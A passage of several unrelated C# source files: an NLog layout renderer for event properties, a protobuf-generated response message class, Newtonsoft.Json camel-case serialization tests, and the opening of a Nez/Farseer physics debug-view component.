// * Neither the name of Jaroslaw Kowalski nor the names of its
// contributors may be used to endorse or promote products derived from this
// software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
// THE POSSIBILITY OF SUCH DAMAGE.
//
namespace NLog.LayoutRenderers
{
using System;
using System.Text;
using System.Collections.Generic;
using System.ComponentModel;
using NLog.Config;
using NLog.Internal;
/// <summary>
/// Log event context data.
/// </summary>
[LayoutRenderer("all-event-properties")]
[ThreadAgnostic]
[ThreadSafe]
[MutableUnsafe]
public class AllEventPropertiesLayoutRenderer : LayoutRenderer
{
private string _format;
private string _beforeKey;
private string _afterKey;
private string _afterValue;
/// <summary>
/// Initializes a new instance of the <see cref="AllEventPropertiesLayoutRenderer"/> class.
/// </summary>
public AllEventPropertiesLayoutRenderer()
{
Separator = ", ";
Format = "[key]=[value]";
Exclude = new HashSet<string>(
#if NET4_5
CallerInformationAttributeNames,
#else
ArrayHelper.Empty<string>(),
#endif
StringComparer.OrdinalIgnoreCase);
}
/// <summary>
/// Gets or sets string that will be used to separate key/value pairs.
/// </summary>
/// <docgen category='Rendering Options' order='10' />
public string Separator { get; set; }
/// <summary>
/// Get or set if empty values should be included.
///
/// A value is empty when null or in case of a string, null or empty string.
/// </summary>
/// <docgen category='Rendering Options' order='10' />
[DefaultValue(false)]
public bool IncludeEmptyValues { get; set; } = false;
/// <summary>
/// Gets or sets the keys to exclude from the output. If omitted, none are excluded.
/// </summary>
/// <docgen category='Rendering Options' order='10' />
#if NET3_5
public HashSet<string> Exclude { get; set; }
#else
public ISet<string> Exclude { get; set; }
#endif
#if NET4_5
/// <summary>
/// Also render the caller information attributes? (<see cref="System.Runtime.CompilerServices.CallerMemberNameAttribute"/>,
/// <see cref="System.Runtime.CompilerServices.CallerFilePathAttribute"/>, <see cref="System.Runtime.CompilerServices.CallerLineNumberAttribute"/>).
///
/// See https://msdn.microsoft.com/en-us/library/hh534540.aspx
/// </summary>
/// <docgen category='Rendering Options' order='10' />
[Obsolete("Instead use the Exclude-property. Marked obsolete on NLog 4.6.8")]
[DefaultValue(false)]
public bool IncludeCallerInformation
{
get => Exclude?.Contains(CallerInformationAttributeNames[0]) != true;
set
{
if (!value)
{
if (Exclude == null)
{
Exclude = new HashSet<string>(CallerInformationAttributeNames, StringComparer.OrdinalIgnoreCase);
}
else
{
foreach (var item in CallerInformationAttributeNames)
Exclude.Add(item);
}
}
else if (Exclude?.Count > 0)
{
foreach (var item in CallerInformationAttributeNames)
Exclude.Remove(item);
}
}
}
#endif
/// <summary>
/// Gets or sets how key/value pairs will be formatted.
/// </summary>
/// <docgen category='Rendering Options' order='10' />
public string Format
{
get => _format;
set
{
if (!value.Contains("[key]"))
throw new ArgumentException("Invalid format: [key] placeholder is missing.");
if (!value.Contains("[value]"))
throw new ArgumentException("Invalid format: [value] placeholder is missing.");
_format = value;
var formatSplit = _format.Split(new[] { "[key]", "[value]" }, StringSplitOptions.None);
if (formatSplit.Length == 3)
{
_beforeKey = formatSplit[0];
_afterKey = formatSplit[1];
_afterValue = formatSplit[2];
}
else
{
_beforeKey = null;
_afterKey = null;
_afterValue = null;
}
}
}
/// <summary>
/// Renders all log event's properties and appends them to the specified <see cref="StringBuilder" />.
/// </summary>
/// <param name="builder">The <see cref="StringBuilder"/> to append the rendered data to.</param>
/// <param name="logEvent">Logging event.</param>
protected override void Append(StringBuilder builder, LogEventInfo logEvent)
{
if (!logEvent.HasProperties)
return;
var formatProvider = GetFormatProvider(logEvent);
bool checkForExclude = CheckForExclude(logEvent);
bool nonStandardFormat = _beforeKey == null || _afterKey == null || _afterValue == null;
bool first = true;
foreach (var property in logEvent.Properties)
{
if (!IncludeEmptyValues && IsEmptyPropertyValue(property.Value))
continue;
if (checkForExclude && property.Key is string propertyKey && Exclude.Contains(propertyKey))
continue;
if (!first)
{
builder.Append(Separator);
}
first = false;
if (nonStandardFormat)
{
var key = Convert.ToString(property.Key, formatProvider);
var value = Convert.ToString(property.Value, formatProvider);
var pair = Format.Replace("[key]", key)
.Replace("[value]", value);
builder.Append(pair);
}
else
{
builder.Append(_beforeKey);
builder.AppendFormattedValue(property.Key, null, formatProvider);
builder.Append(_afterKey);
builder.AppendFormattedValue(property.Value, null, formatProvider);
builder.Append(_afterValue);
}
}
}
private bool CheckForExclude(LogEventInfo logEvent)
{
bool checkForExclude = Exclude?.Count > 0;
#if NET45
if (checkForExclude)
{
// Skip Exclude check when only to exclude CallSiteInformation, and there is none
checkForExclude = !(logEvent.CallSiteInformation == null && Exclude.Count == CallerInformationAttributeNames.Length && Exclude.Contains(CallerInformationAttributeNames[0]));
}
#endif
return checkForExclude;
}
private static bool IsEmptyPropertyValue(object value)
{
if (value is string s)
{
return string.IsNullOrEmpty(s);
}
return value == null;
}
#if NET4_5
/// <summary>
/// The names of caller information attributes.
/// <see cref="System.Runtime.CompilerServices.CallerMemberNameAttribute"/>, <see cref="System.Runtime.CompilerServices.CallerFilePathAttribute"/>, <see cref="System.Runtime.CompilerServices.CallerLineNumberAttribute"/>).
/// https://msdn.microsoft.com/en-us/library/hh534540.aspx
/// TODO NLog ver. 5 - Remove these properties
/// </summary>
private static string[] CallerInformationAttributeNames = {
"CallerMemberName",
"CallerFilePath",
"CallerLineNumber",
};
#endif
}
}
| |
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: A9998ClientCloseResponse.txt
#pragma warning disable 1591, 0612, 3021
#region Designer generated code
using pb = global::Google.ProtocolBuffers;
using pbc = global::Google.ProtocolBuffers.Collections;
using pbd = global::Google.ProtocolBuffers.Descriptors;
using scg = global::System.Collections.Generic;
namespace DolphinServer.ProtoEntity {
namespace Proto {
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
public static partial class A9998ClientCloseResponse {
#region Extension registration
public static void RegisterAllExtensions(pb::ExtensionRegistry registry) {
}
#endregion
#region Static variables
internal static pbd::MessageDescriptor internal__static_A9998ClientCloseResponse__Descriptor;
internal static pb::FieldAccess.FieldAccessorTable<global::DolphinServer.ProtoEntity.A9998ClientCloseResponse, global::DolphinServer.ProtoEntity.A9998ClientCloseResponse.Builder> internal__static_A9998ClientCloseResponse__FieldAccessorTable;
#endregion
#region Descriptor
public static pbd::FileDescriptor Descriptor {
get { return descriptor; }
}
private static pbd::FileDescriptor descriptor;
static A9998ClientCloseResponse() {
byte[] descriptorData = global::System.Convert.FromBase64String(
string.Concat(
"ChxBOTk5OENsaWVudENsb3NlUmVzcG9uc2UudHh0Ik0KGEE5OTk4Q2xpZW50",
"Q2xvc2VSZXNwb25zZRIRCglFcnJvckluZm8YASABKAkSEQoJRXJyb3JDb2Rl",
"GAIgASgFEgsKA1VpZBgDIAEoCUIcqgIZRG9scGhpblNlcnZlci5Qcm90b0Vu",
"dGl0eQ=="));
pbd::FileDescriptor.InternalDescriptorAssigner assigner = delegate(pbd::FileDescriptor root) {
descriptor = root;
internal__static_A9998ClientCloseResponse__Descriptor = Descriptor.MessageTypes[0];
internal__static_A9998ClientCloseResponse__FieldAccessorTable =
new pb::FieldAccess.FieldAccessorTable<global::DolphinServer.ProtoEntity.A9998ClientCloseResponse, global::DolphinServer.ProtoEntity.A9998ClientCloseResponse.Builder>(internal__static_A9998ClientCloseResponse__Descriptor,
new string[] { "ErrorInfo", "ErrorCode", "Uid", });
pb::ExtensionRegistry registry = pb::ExtensionRegistry.CreateInstance();
RegisterAllExtensions(registry);
return registry;
};
pbd::FileDescriptor.InternalBuildGeneratedFileFrom(descriptorData,
new pbd::FileDescriptor[] {
}, assigner);
}
#endregion
}
}
#region Messages
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
public sealed partial class A9998ClientCloseResponse : pb::GeneratedMessage<A9998ClientCloseResponse, A9998ClientCloseResponse.Builder> {
private A9998ClientCloseResponse() { }
private static readonly A9998ClientCloseResponse defaultInstance = new A9998ClientCloseResponse().MakeReadOnly();
private static readonly string[] _a9998ClientCloseResponseFieldNames = new string[] { "ErrorCode", "ErrorInfo", "Uid" };
private static readonly uint[] _a9998ClientCloseResponseFieldTags = new uint[] { 16, 10, 26 };
public static A9998ClientCloseResponse DefaultInstance {
get { return defaultInstance; }
}
public override A9998ClientCloseResponse DefaultInstanceForType {
get { return DefaultInstance; }
}
protected override A9998ClientCloseResponse ThisMessage {
get { return this; }
}
public static pbd::MessageDescriptor Descriptor {
get { return global::DolphinServer.ProtoEntity.Proto.A9998ClientCloseResponse.internal__static_A9998ClientCloseResponse__Descriptor; }
}
protected override pb::FieldAccess.FieldAccessorTable<A9998ClientCloseResponse, A9998ClientCloseResponse.Builder> InternalFieldAccessors {
get { return global::DolphinServer.ProtoEntity.Proto.A9998ClientCloseResponse.internal__static_A9998ClientCloseResponse__FieldAccessorTable; }
}
public const int ErrorInfoFieldNumber = 1;
private bool hasErrorInfo;
private string errorInfo_ = "";
public bool HasErrorInfo {
get { return hasErrorInfo; }
}
public string ErrorInfo {
get { return errorInfo_; }
}
public const int ErrorCodeFieldNumber = 2;
private bool hasErrorCode;
private int errorCode_;
public bool HasErrorCode {
get { return hasErrorCode; }
}
public int ErrorCode {
get { return errorCode_; }
}
public const int UidFieldNumber = 3;
private bool hasUid;
private string uid_ = "";
public bool HasUid {
get { return hasUid; }
}
public string Uid {
get { return uid_; }
}
public override bool IsInitialized {
get {
return true;
}
}
public override void WriteTo(pb::ICodedOutputStream output) {
CalcSerializedSize();
string[] field_names = _a9998ClientCloseResponseFieldNames;
if (hasErrorInfo) {
output.WriteString(1, field_names[1], ErrorInfo);
}
if (hasErrorCode) {
output.WriteInt32(2, field_names[0], ErrorCode);
}
if (hasUid) {
output.WriteString(3, field_names[2], Uid);
}
UnknownFields.WriteTo(output);
}
private int memoizedSerializedSize = -1;
public override int SerializedSize {
get {
int size = memoizedSerializedSize;
if (size != -1) return size;
return CalcSerializedSize();
}
}
private int CalcSerializedSize() {
int size = memoizedSerializedSize;
if (size != -1) return size;
size = 0;
if (hasErrorInfo) {
size += pb::CodedOutputStream.ComputeStringSize(1, ErrorInfo);
}
if (hasErrorCode) {
size += pb::CodedOutputStream.ComputeInt32Size(2, ErrorCode);
}
if (hasUid) {
size += pb::CodedOutputStream.ComputeStringSize(3, Uid);
}
size += UnknownFields.SerializedSize;
memoizedSerializedSize = size;
return size;
}
public static A9998ClientCloseResponse ParseFrom(pb::ByteString data) {
return ((Builder) CreateBuilder().MergeFrom(data)).BuildParsed();
}
public static A9998ClientCloseResponse ParseFrom(pb::ByteString data, pb::ExtensionRegistry extensionRegistry) {
return ((Builder) CreateBuilder().MergeFrom(data, extensionRegistry)).BuildParsed();
}
public static A9998ClientCloseResponse ParseFrom(byte[] data) {
return ((Builder) CreateBuilder().MergeFrom(data)).BuildParsed();
}
public static A9998ClientCloseResponse ParseFrom(byte[] data, pb::ExtensionRegistry extensionRegistry) {
return ((Builder) CreateBuilder().MergeFrom(data, extensionRegistry)).BuildParsed();
}
public static A9998ClientCloseResponse ParseFrom(global::System.IO.Stream input) {
return ((Builder) CreateBuilder().MergeFrom(input)).BuildParsed();
}
public static A9998ClientCloseResponse ParseFrom(global::System.IO.Stream input, pb::ExtensionRegistry extensionRegistry) {
return ((Builder) CreateBuilder().MergeFrom(input, extensionRegistry)).BuildParsed();
}
public static A9998ClientCloseResponse ParseDelimitedFrom(global::System.IO.Stream input) {
return CreateBuilder().MergeDelimitedFrom(input).BuildParsed();
}
public static A9998ClientCloseResponse ParseDelimitedFrom(global::System.IO.Stream input, pb::ExtensionRegistry extensionRegistry) {
return CreateBuilder().MergeDelimitedFrom(input, extensionRegistry).BuildParsed();
}
public static A9998ClientCloseResponse ParseFrom(pb::ICodedInputStream input) {
return ((Builder) CreateBuilder().MergeFrom(input)).BuildParsed();
}
public static A9998ClientCloseResponse ParseFrom(pb::ICodedInputStream input, pb::ExtensionRegistry extensionRegistry) {
return ((Builder) CreateBuilder().MergeFrom(input, extensionRegistry)).BuildParsed();
}
private A9998ClientCloseResponse MakeReadOnly() {
return this;
}
public static Builder CreateBuilder() { return new Builder(); }
public override Builder ToBuilder() { return CreateBuilder(this); }
public override Builder CreateBuilderForType() { return new Builder(); }
public static Builder CreateBuilder(A9998ClientCloseResponse prototype) {
return new Builder(prototype);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
public sealed partial class Builder : pb::GeneratedBuilder<A9998ClientCloseResponse, Builder> {
protected override Builder ThisBuilder {
get { return this; }
}
public Builder() {
result = DefaultInstance;
resultIsReadOnly = true;
}
internal Builder(A9998ClientCloseResponse cloneFrom) {
result = cloneFrom;
resultIsReadOnly = true;
}
private bool resultIsReadOnly;
private A9998ClientCloseResponse result;
private A9998ClientCloseResponse PrepareBuilder() {
if (resultIsReadOnly) {
A9998ClientCloseResponse original = result;
result = new A9998ClientCloseResponse();
resultIsReadOnly = false;
MergeFrom(original);
}
return result;
}
public override bool IsInitialized {
get { return result.IsInitialized; }
}
protected override A9998ClientCloseResponse MessageBeingBuilt {
get { return PrepareBuilder(); }
}
public override Builder Clear() {
result = DefaultInstance;
resultIsReadOnly = true;
return this;
}
public override Builder Clone() {
if (resultIsReadOnly) {
return new Builder(result);
} else {
return new Builder().MergeFrom(result);
}
}
public override pbd::MessageDescriptor DescriptorForType {
get { return global::DolphinServer.ProtoEntity.A9998ClientCloseResponse.Descriptor; }
}
public override A9998ClientCloseResponse DefaultInstanceForType {
get { return global::DolphinServer.ProtoEntity.A9998ClientCloseResponse.DefaultInstance; }
}
public override A9998ClientCloseResponse BuildPartial() {
if (resultIsReadOnly) {
return result;
}
resultIsReadOnly = true;
return result.MakeReadOnly();
}
public override Builder MergeFrom(pb::IMessage other) {
if (other is A9998ClientCloseResponse) {
return MergeFrom((A9998ClientCloseResponse) other);
} else {
base.MergeFrom(other);
return this;
}
}
public override Builder MergeFrom(A9998ClientCloseResponse other) {
if (other == global::DolphinServer.ProtoEntity.A9998ClientCloseResponse.DefaultInstance) return this;
PrepareBuilder();
if (other.HasErrorInfo) {
ErrorInfo = other.ErrorInfo;
}
if (other.HasErrorCode) {
ErrorCode = other.ErrorCode;
}
if (other.HasUid) {
Uid = other.Uid;
}
this.MergeUnknownFields(other.UnknownFields);
return this;
}
public override Builder MergeFrom(pb::ICodedInputStream input) {
return MergeFrom(input, pb::ExtensionRegistry.Empty);
}
public override Builder MergeFrom(pb::ICodedInputStream input, pb::ExtensionRegistry extensionRegistry) {
PrepareBuilder();
pb::UnknownFieldSet.Builder unknownFields = null;
uint tag;
string field_name;
while (input.ReadTag(out tag, out field_name)) {
if(tag == 0 && field_name != null) {
int field_ordinal = global::System.Array.BinarySearch(_a9998ClientCloseResponseFieldNames, field_name, global::System.StringComparer.Ordinal);
if(field_ordinal >= 0)
tag = _a9998ClientCloseResponseFieldTags[field_ordinal];
else {
if (unknownFields == null) {
unknownFields = pb::UnknownFieldSet.CreateBuilder(this.UnknownFields);
}
ParseUnknownField(input, unknownFields, extensionRegistry, tag, field_name);
continue;
}
}
switch (tag) {
case 0: {
throw pb::InvalidProtocolBufferException.InvalidTag();
}
default: {
if (pb::WireFormat.IsEndGroupTag(tag)) {
if (unknownFields != null) {
this.UnknownFields = unknownFields.Build();
}
return this;
}
if (unknownFields == null) {
unknownFields = pb::UnknownFieldSet.CreateBuilder(this.UnknownFields);
}
ParseUnknownField(input, unknownFields, extensionRegistry, tag, field_name);
break;
}
case 10: {
result.hasErrorInfo = input.ReadString(ref result.errorInfo_);
break;
}
case 16: {
result.hasErrorCode = input.ReadInt32(ref result.errorCode_);
break;
}
case 26: {
result.hasUid = input.ReadString(ref result.uid_);
break;
}
}
}
if (unknownFields != null) {
this.UnknownFields = unknownFields.Build();
}
return this;
}
public bool HasErrorInfo {
get { return result.hasErrorInfo; }
}
public string ErrorInfo {
get { return result.ErrorInfo; }
set { SetErrorInfo(value); }
}
public Builder SetErrorInfo(string value) {
pb::ThrowHelper.ThrowIfNull(value, "value");
PrepareBuilder();
result.hasErrorInfo = true;
result.errorInfo_ = value;
return this;
}
public Builder ClearErrorInfo() {
PrepareBuilder();
result.hasErrorInfo = false;
result.errorInfo_ = "";
return this;
}
public bool HasErrorCode {
get { return result.hasErrorCode; }
}
public int ErrorCode {
get { return result.ErrorCode; }
set { SetErrorCode(value); }
}
public Builder SetErrorCode(int value) {
PrepareBuilder();
result.hasErrorCode = true;
result.errorCode_ = value;
return this;
}
public Builder ClearErrorCode() {
PrepareBuilder();
result.hasErrorCode = false;
result.errorCode_ = 0;
return this;
}
public bool HasUid {
get { return result.hasUid; }
}
public string Uid {
get { return result.Uid; }
set { SetUid(value); }
}
public Builder SetUid(string value) {
pb::ThrowHelper.ThrowIfNull(value, "value");
PrepareBuilder();
result.hasUid = true;
result.uid_ = value;
return this;
}
public Builder ClearUid() {
PrepareBuilder();
result.hasUid = false;
result.uid_ = "";
return this;
}
}
static A9998ClientCloseResponse() {
object.ReferenceEquals(global::DolphinServer.ProtoEntity.Proto.A9998ClientCloseResponse.Descriptor, null);
}
}
#endregion
}
#endregion Designer generated code
| |
#region License
// Copyright (c) 2007 James Newton-King
//
// Permission is hereby granted, free of charge, to any person
// obtaining a copy of this software and associated documentation
// files (the "Software"), to deal in the Software without
// restriction, including without limitation the rights to use,
// copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following
// conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
// OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
// HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
// WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
// OTHER DEALINGS IN THE SOFTWARE.
#endregion
using System;
using System.Collections.Generic;
using Newtonsoft.Json.Serialization;
#if DNXCORE50
using Xunit;
using Test = Xunit.FactAttribute;
using Assert = Newtonsoft.Json.Tests.XUnitAssert;
#else
using NUnit.Framework;
#endif
using Newtonsoft.Json.Tests.TestObjects;
using Newtonsoft.Json.Tests.TestObjects.Organization;
using Newtonsoft.Json.Linq;
using System.Reflection;
using Newtonsoft.Json.Utilities;
namespace Newtonsoft.Json.Tests.Serialization
{
[TestFixture]
public class CamelCasePropertyNamesContractResolverTests : TestFixtureBase
{
[Test]
public void JsonConvertSerializerSettings()
{
Person person = new Person();
person.BirthDate = new DateTime(2000, 11, 20, 23, 55, 44, DateTimeKind.Utc);
person.LastModified = new DateTime(2000, 11, 20, 23, 55, 44, DateTimeKind.Utc);
person.Name = "Name!";
string json = JsonConvert.SerializeObject(person, Formatting.Indented, new JsonSerializerSettings
{
ContractResolver = new CamelCasePropertyNamesContractResolver()
});
StringAssert.AreEqual(@"{
""name"": ""Name!"",
""birthDate"": ""2000-11-20T23:55:44Z"",
""lastModified"": ""2000-11-20T23:55:44Z""
}", json);
Person deserializedPerson = JsonConvert.DeserializeObject<Person>(json, new JsonSerializerSettings
{
ContractResolver = new CamelCasePropertyNamesContractResolver()
});
Assert.AreEqual(person.BirthDate, deserializedPerson.BirthDate);
Assert.AreEqual(person.LastModified, deserializedPerson.LastModified);
Assert.AreEqual(person.Name, deserializedPerson.Name);
json = JsonConvert.SerializeObject(person, Formatting.Indented);
StringAssert.AreEqual(@"{
""Name"": ""Name!"",
""BirthDate"": ""2000-11-20T23:55:44Z"",
""LastModified"": ""2000-11-20T23:55:44Z""
}", json);
}
[Test]
public void JTokenWriter()
{
JsonIgnoreAttributeOnClassTestClass ignoreAttributeOnClassTestClass = new JsonIgnoreAttributeOnClassTestClass();
ignoreAttributeOnClassTestClass.Field = int.MinValue;
JsonSerializer serializer = new JsonSerializer();
serializer.ContractResolver = new CamelCasePropertyNamesContractResolver();
JTokenWriter writer = new JTokenWriter();
serializer.Serialize(writer, ignoreAttributeOnClassTestClass);
JObject o = (JObject)writer.Token;
JProperty p = o.Property("theField");
Assert.IsNotNull(p);
Assert.AreEqual(int.MinValue, (int)p.Value);
string json = o.ToString();
}
#if !(PORTABLE || PORTABLE40)
#pragma warning disable 618
[Test]
public void MemberSearchFlags()
{
PrivateMembersClass privateMembersClass = new PrivateMembersClass("PrivateString!", "InternalString!");
string json = JsonConvert.SerializeObject(privateMembersClass, Formatting.Indented, new JsonSerializerSettings
{
ContractResolver = new CamelCasePropertyNamesContractResolver { DefaultMembersSearchFlags = BindingFlags.NonPublic | BindingFlags.Instance }
});
StringAssert.AreEqual(@"{
""_privateString"": ""PrivateString!"",
""i"": 0,
""_internalString"": ""InternalString!""
}", json);
PrivateMembersClass deserializedPrivateMembersClass = JsonConvert.DeserializeObject<PrivateMembersClass>(@"{
""_privateString"": ""Private!"",
""i"": -2,
""_internalString"": ""Internal!""
}", new JsonSerializerSettings
{
ContractResolver = new CamelCasePropertyNamesContractResolver { DefaultMembersSearchFlags = BindingFlags.NonPublic | BindingFlags.Instance }
});
Assert.AreEqual("Private!", ReflectionUtils.GetMemberValue(typeof(PrivateMembersClass).GetField("_privateString", BindingFlags.Instance | BindingFlags.NonPublic), deserializedPrivateMembersClass));
Assert.AreEqual("Internal!", ReflectionUtils.GetMemberValue(typeof(PrivateMembersClass).GetField("_internalString", BindingFlags.Instance | BindingFlags.NonPublic), deserializedPrivateMembersClass));
// readonly
Assert.AreEqual(0, ReflectionUtils.GetMemberValue(typeof(PrivateMembersClass).GetField("i", BindingFlags.Instance | BindingFlags.NonPublic), deserializedPrivateMembersClass));
}
#pragma warning restore 618
#endif
[Test]
public void BlogPostExample()
{
Product product = new Product
{
ExpiryDate = new DateTime(2010, 12, 20, 18, 1, 0, DateTimeKind.Utc),
Name = "Widget",
Price = 9.99m,
Sizes = new[] { "Small", "Medium", "Large" }
};
string json =
JsonConvert.SerializeObject(
product,
Formatting.Indented,
new JsonSerializerSettings { ContractResolver = new CamelCasePropertyNamesContractResolver() }
);
//{
// "name": "Widget",
// "expiryDate": "\/Date(1292868060000)\/",
// "price": 9.99,
// "sizes": [
// "Small",
// "Medium",
// "Large"
// ]
//}
StringAssert.AreEqual(@"{
""name"": ""Widget"",
""expiryDate"": ""2010-12-20T18:01:00Z"",
""price"": 9.99,
""sizes"": [
""Small"",
""Medium"",
""Large""
]
}", json);
}
#if !(NET35 || NET20 || PORTABLE40)
[Test]
public void DynamicCamelCasePropertyNames()
{
dynamic o = new TestDynamicObject();
o.Text = "Text!";
o.Integer = int.MaxValue;
string json = JsonConvert.SerializeObject(o, Formatting.Indented,
new JsonSerializerSettings
{
ContractResolver = new CamelCasePropertyNamesContractResolver()
});
StringAssert.AreEqual(@"{
""explicit"": false,
""text"": ""Text!"",
""integer"": 2147483647,
""int"": 0,
""childObject"": null
}", json);
}
#endif
[Test]
public void DictionaryCamelCasePropertyNames()
{
Dictionary<string, string> values = new Dictionary<string, string>
{
{ "First", "Value1!" },
{ "Second", "Value2!" }
};
string json = JsonConvert.SerializeObject(values, Formatting.Indented,
new JsonSerializerSettings
{
ContractResolver = new CamelCasePropertyNamesContractResolver()
});
StringAssert.AreEqual(@"{
""first"": ""Value1!"",
""second"": ""Value2!""
}", json);
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using FarseerPhysics;
using FarseerPhysics.Collision;
using FarseerPhysics.Collision.Shapes;
using FarseerPhysics.Common;
using FarseerPhysics.Controllers;
using FarseerPhysics.Dynamics;
using FarseerPhysics.Dynamics.Contacts;
using FarseerPhysics.Dynamics.Joints;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
namespace Nez.Farseer
{
/// <summary>
/// A debug view shows you what happens inside the physics engine. You can view
/// bodies, joints, fixtures and more.
/// </summary>
public class FSDebugView : RenderableComponent, IDisposable
{
public override RectangleF bounds { get { return _bounds; } }
/// <summary>
/// Gets or sets the debug view flags
/// </summary>
public DebugViewFlags flags;
/// <summary>
/// the World we are drawing
/// </summary>
protected World world;
//Shapes
public Color defaultShapeColor = new Color( 0.9f, 0.7f, 0.7f );
public Color inactiveShapeColor = new Color( 0.5f, 0.5f, 0.3f );
public Color kinematicShapeColor = new Color( 0.5f, 0.5f, 0.9f );
public Color sleepingShapeColor = new Color( 0.6f, 0.6f, 0.6f );
public Color staticShapeColor = new Color( 0.5f, 0.9f, 0.5f );
public Color textColor = Color.White;
//Drawing
PrimitiveBatch _primitiveBatch;
Vector2[] _tempVertices = new Vector2[Settings.maxPolygonVertices];
List<StringData> _stringData = new List<StringData>();
Matrix _localProjection;
Matrix _localView;
//Contacts
int _pointCount;
const int maxContactPoints = 2048;
ContactPoint[] _points = new ContactPoint[maxContactPoints];
//Debug panel
public Vector2 debugPanelPosition = new Vector2( 5, 5 );
float _max;
float _avg;
float _min;
StringBuilder _debugPanelSb = new StringBuilder();
//Performance graph
public bool adaptiveLimits = true;
public int valuesToGraph = 500;
public float minimumValue;
public float maximumValue = 10;
public Rectangle performancePanelBounds = new Rectangle( Screen.width - 300, 5, 200, 100 );
List<float> _graphValues = new List<float>( 500 );
Vector2[] _background = new Vector2[4];
public const int circleSegments = 24;
public FSDebugView()
{
_bounds = RectangleF.maxRect;
//Default flags
appendFlags( DebugViewFlags.Shape );
appendFlags( DebugViewFlags.Controllers );
appendFlags( DebugViewFlags.Joint );
}
public FSDebugView( World world ) : this()
{
this.world = world;
}
/// <summary>
/// Append flags to the current flags
/// </summary>
/// <param name="flags">Flags.</param>
public void appendFlags( DebugViewFlags flags )
{
this.flags |= flags;
}
/// <summary>
/// Remove flags from the current flags
/// </summary>
/// <param name="flags">Flags.</param>
public void removeFlags( DebugViewFlags flags )
{
this.flags &= ~flags;
}
#region IDisposable Members
public void Dispose()
{
world.contactManager.onPreSolve -= preSolve;
}
#endregion
public override void onAddedToEntity()
{
if( world == null )
world = entity.scene.getOrCreateSceneComponent<FSWorld>();
world.contactManager.onPreSolve += preSolve;
transform.setPosition( new Vector2( -float.MaxValue, -float.MaxValue ) * 0.5f );
_primitiveBatch = new PrimitiveBatch( 1000 );
_localProjection = Matrix.CreateOrthographicOffCenter( 0f, Core.graphicsDevice.Viewport.Width, Core.graphicsDevice.Viewport.Height, 0f, 0f, 1f );
_localView = Matrix.Identity;
}
void preSolve( Contact contact, ref Manifold oldManifold )
{
if( ( flags & DebugViewFlags.ContactPoints ) == DebugViewFlags.ContactPoints )
{
Manifold manifold = contact.manifold;
if( manifold.pointCount == 0 )
return;
Fixture fixtureA = contact.fixtureA;
FixedArray2<PointState> state1, state2;
FarseerPhysics.Collision.Collision.getPointStates( out state1, out state2, ref oldManifold, ref manifold );
FixedArray2<Vector2> points;
Vector2 normal;
contact.getWorldManifold( out normal, out points );
for( int i = 0; i < manifold.pointCount && _pointCount < maxContactPoints; ++i )
{
if( fixtureA == null )
_points[i] = new ContactPoint();
ContactPoint cp = _points[_pointCount];
cp.position = points[i];
cp.normal = normal;
cp.state = state2[i];
_points[_pointCount] = cp;
++_pointCount;
}
}
}
/// <summary>
/// Call this to draw shapes and other debug draw data.
/// </summary>
void drawDebugData()
{
if( ( flags & DebugViewFlags.Shape ) == DebugViewFlags.Shape )
{
foreach( Body b in world.bodyList )
{
FarseerPhysics.Common.Transform xf;
b.getTransform( out xf );
foreach( Fixture f in b.fixtureList )
{
if( b.enabled == false )
drawShape( f, xf, inactiveShapeColor );
else if( b.bodyType == BodyType.Static )
drawShape( f, xf, staticShapeColor );
else if( b.bodyType == BodyType.Kinematic )
drawShape( f, xf, kinematicShapeColor );
else if( b.isAwake == false )
drawShape( f, xf, sleepingShapeColor );
else
drawShape( f, xf, defaultShapeColor );
}
}
}
if( ( flags & DebugViewFlags.ContactPoints ) == DebugViewFlags.ContactPoints )
{
const float axisScale = 0.3f;
for( int i = 0; i < _pointCount; ++i )
{
ContactPoint point = _points[i];
if( point.state == PointState.Add )
drawPoint( point.position, 0.1f, new Color( 0.3f, 0.95f, 0.3f ) );
else if( point.state == PointState.Persist )
drawPoint( point.position, 0.1f, new Color( 0.3f, 0.3f, 0.95f ) );
if( ( flags & DebugViewFlags.ContactNormals ) == DebugViewFlags.ContactNormals )
{
Vector2 p1 = point.position;
Vector2 p2 = p1 + axisScale * point.normal;
drawSegment( p1, p2, new Color( 0.4f, 0.9f, 0.4f ) );
}
}
_pointCount = 0;
}
if( ( flags & DebugViewFlags.PolygonPoints ) == DebugViewFlags.PolygonPoints )
{
foreach( Body body in world.bodyList )
{
foreach( Fixture f in body.fixtureList )
{
var polygon = f.shape as PolygonShape;
